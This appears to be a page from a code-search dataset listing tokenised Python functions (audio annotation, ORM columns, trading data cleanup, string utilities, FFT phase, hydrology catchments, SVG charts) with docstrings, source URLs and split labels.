"self",
")",
":",
"ints",
",",
"vals",
"=",
"[",
"]",
",",
"[",
"]",
"for",
"obs",
"in",
"self",
".",
"data",
":",
"ints",
".",
"append",
"(",
"[",
"obs",
".",
"time",
",",
"obs",
".",
"time",
"+",
"obs",
".",
... | Extract observation data in a `mir_eval`-friendly format.
Returns
-------
intervals : np.ndarray [shape=(n, 2), dtype=float]
Start- and end-times of all valued intervals
`intervals[i, :] = [time[i], time[i] + duration[i]]`
labels : list
List view of... | [
"Extract",
"observation",
"data",
"in",
"a",
"mir_eval",
"-",
"friendly",
"format",
"."
] | python | valid | 27.695652 |
CivicSpleen/ambry | ambry/orm/column.py | https://github.com/CivicSpleen/ambry/blob/d7f2be4bf1f7ffd086f3fadd4fcae60c32473e42/ambry/orm/column.py#L249-L252 | def is_measure(self):
"""Return true if the colum is a dimension"""
from ambry.valuetype.core import ROLE
return self.role == ROLE.MEASURE | [
"def",
"is_measure",
"(",
"self",
")",
":",
"from",
"ambry",
".",
"valuetype",
".",
"core",
"import",
"ROLE",
"return",
"self",
".",
"role",
"==",
"ROLE",
".",
"MEASURE"
] | Return true if the colum is a dimension | [
"Return",
"true",
"if",
"the",
"colum",
"is",
"a",
"dimension"
] | python | train | 39.75 |
ranaroussi/qtpylib | qtpylib/blotter.py | https://github.com/ranaroussi/qtpylib/blob/0dbbc465fafd9cb9b0f4d10e1e07fae4e15032dd/qtpylib/blotter.py#L887-L950 | def _fix_history_sequence(self, df, table):
""" fix out-of-sequence ticks/bars """
# remove "Unnamed: x" columns
cols = df.columns[df.columns.str.startswith('Unnamed:')].tolist()
df.drop(cols, axis=1, inplace=True)
# remove future dates
df['datetime'] = pd.to_datetime(d... | [
"def",
"_fix_history_sequence",
"(",
"self",
",",
"df",
",",
"table",
")",
":",
"# remove \"Unnamed: x\" columns",
"cols",
"=",
"df",
".",
"columns",
"[",
"df",
".",
"columns",
".",
"str",
".",
"startswith",
"(",
"'Unnamed:'",
")",
"]",
".",
"tolist",
"(",... | fix out-of-sequence ticks/bars | [
"fix",
"out",
"-",
"of",
"-",
"sequence",
"ticks",
"/",
"bars"
] | python | train | 36.015625 |
totalgood/pugnlp | src/pugnlp/util.py | https://github.com/totalgood/pugnlp/blob/c43445b14afddfdeadc5f3076675c9e8fc1ee67c/src/pugnlp/util.py#L1413-L1448 | def strip_br(s):
r""" Strip the trailing html linebreak character (<BR />) from a string or sequence of strings
A sequence of strings is assumed to be a row in a CSV/TSV file or words from a line of text
so only the last element in a sequence is "stripped"
>>> strip_br(' Title <BR> ')
' Title'
... | [
"def",
"strip_br",
"(",
"s",
")",
":",
"if",
"isinstance",
"(",
"s",
",",
"basestring",
")",
":",
"return",
"re",
".",
"sub",
"(",
"r'\\s*<\\s*[Bb][Rr]\\s*[/]?\\s*>\\s*$'",
",",
"''",
",",
"s",
")",
"elif",
"isinstance",
"(",
"s",
",",
"(",
"tuple",
",... | r""" Strip the trailing html linebreak character (<BR />) from a string or sequence of strings
A sequence of strings is assumed to be a row in a CSV/TSV file or words from a line of text
so only the last element in a sequence is "stripped"
>>> strip_br(' Title <BR> ')
' Title'
>>> strip_br(list(ra... | [
"r",
"Strip",
"the",
"trailing",
"html",
"linebreak",
"character",
"(",
"<BR",
"/",
">",
")",
"from",
"a",
"string",
"or",
"sequence",
"of",
"strings"
] | python | train | 34.472222 |
pmacosta/peng | peng/wave_functions.py | https://github.com/pmacosta/peng/blob/976935377adaa3de26fc5677aceb2cdfbd6f93a7/peng/wave_functions.py#L728-L782 | def fftp(wave, npoints=None, indep_min=None, indep_max=None, unwrap=True, rad=True):
r"""
Return the phase of the Fast Fourier Transform of a waveform.
:param wave: Waveform
:type wave: :py:class:`peng.eng.Waveform`
:param npoints: Number of points to use in the transform. If **npoints**
... | [
"def",
"fftp",
"(",
"wave",
",",
"npoints",
"=",
"None",
",",
"indep_min",
"=",
"None",
",",
"indep_max",
"=",
"None",
",",
"unwrap",
"=",
"True",
",",
"rad",
"=",
"True",
")",
":",
"return",
"phase",
"(",
"fft",
"(",
"wave",
",",
"npoints",
",",
... | r"""
Return the phase of the Fast Fourier Transform of a waveform.
:param wave: Waveform
:type wave: :py:class:`peng.eng.Waveform`
:param npoints: Number of points to use in the transform. If **npoints**
is less than the size of the independent variable vector
... | [
"r",
"Return",
"the",
"phase",
"of",
"the",
"Fast",
"Fourier",
"Transform",
"of",
"a",
"waveform",
"."
] | python | test | 34.363636 |
christophertbrown/bioscripts | ctbBio/transform.py | https://github.com/christophertbrown/bioscripts/blob/83b2566b3a5745437ec651cd6cafddd056846240/ctbBio/transform.py#L95-L105 | def norm(table):
"""
fit to normal distribution
"""
print('# norm dist is broken', file=sys.stderr)
exit()
from matplotlib.pyplot import hist as hist
t = []
for i in table:
t.append(np.ndarray.tolist(hist(i, bins = len(i), normed = True)[0]))
return t | [
"def",
"norm",
"(",
"table",
")",
":",
"print",
"(",
"'# norm dist is broken'",
",",
"file",
"=",
"sys",
".",
"stderr",
")",
"exit",
"(",
")",
"from",
"matplotlib",
".",
"pyplot",
"import",
"hist",
"as",
"hist",
"t",
"=",
"[",
"]",
"for",
"i",
"in",
... | fit to normal distribution | [
"fit",
"to",
"normal",
"distribution"
] | python | train | 25.909091 |
ljcooke/see | see/tools.py | https://github.com/ljcooke/see/blob/4cbc67a31c92367977ecb4bbb1f0736fa688a6ba/see/tools.py#L16-L27 | def char_width(char):
"""
Get the display length of a unicode character.
"""
if ord(char) < 128:
return 1
elif unicodedata.east_asian_width(char) in ('F', 'W'):
return 2
elif unicodedata.category(char) in ('Mn',):
return 0
else:
return 1 | [
"def",
"char_width",
"(",
"char",
")",
":",
"if",
"ord",
"(",
"char",
")",
"<",
"128",
":",
"return",
"1",
"elif",
"unicodedata",
".",
"east_asian_width",
"(",
"char",
")",
"in",
"(",
"'F'",
",",
"'W'",
")",
":",
"return",
"2",
"elif",
"unicodedata",... | Get the display length of a unicode character. | [
"Get",
"the",
"display",
"length",
"of",
"a",
"unicode",
"character",
"."
] | python | train | 23.833333 |
OpenHydrology/floodestimation | floodestimation/collections.py | https://github.com/OpenHydrology/floodestimation/blob/782da7c5abd1348923129efe89fb70003ebb088c/floodestimation/collections.py#L118-L173 | def most_similar_catchments(self, subject_catchment, similarity_dist_function, records_limit=500,
include_subject_catchment='auto'):
"""
Return a list of catchments sorted by hydrological similarity defined by `similarity_distance_function`
:param subject_catchme... | [
"def",
"most_similar_catchments",
"(",
"self",
",",
"subject_catchment",
",",
"similarity_dist_function",
",",
"records_limit",
"=",
"500",
",",
"include_subject_catchment",
"=",
"'auto'",
")",
":",
"if",
"include_subject_catchment",
"not",
"in",
"[",
"'auto'",
",",
... | Return a list of catchments sorted by hydrological similarity defined by `similarity_distance_function`
:param subject_catchment: subject catchment to find similar catchments for
:type subject_catchment: :class:`floodestimation.entities.Catchment`
:param similarity_dist_function: a method retur... | [
"Return",
"a",
"list",
"of",
"catchments",
"sorted",
"by",
"hydrological",
"similarity",
"defined",
"by",
"similarity_distance_function"
] | python | train | 59.357143 |
jaraco/svg.charts | svg/charts/plot.py | https://github.com/jaraco/svg.charts/blob/23053497b3f1af4e760f355050107ae3bc05909d/svg/charts/plot.py#L326-L340 | def __draw_constant_line(self, value_label_style):
"Draw a constant line on the y-axis with the label"
value, label, style = value_label_style
start = self.transform_output_coordinates((0, value))[1]
stop = self.graph_width
path = etree.SubElement(self.graph, 'path', {
'd': 'M 0 %(start)s h%(stop)s' % loca... | [
"def",
"__draw_constant_line",
"(",
"self",
",",
"value_label_style",
")",
":",
"value",
",",
"label",
",",
"style",
"=",
"value_label_style",
"start",
"=",
"self",
".",
"transform_output_coordinates",
"(",
"(",
"0",
",",
"value",
")",
")",
"[",
"1",
"]",
... | Draw a constant line on the y-axis with the label | [
"Draw",
"a",
"constant",
"line",
"on",
"the",
"y",
"-",
"axis",
"with",
"the",
"label"
] | python | test | 34.466667 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.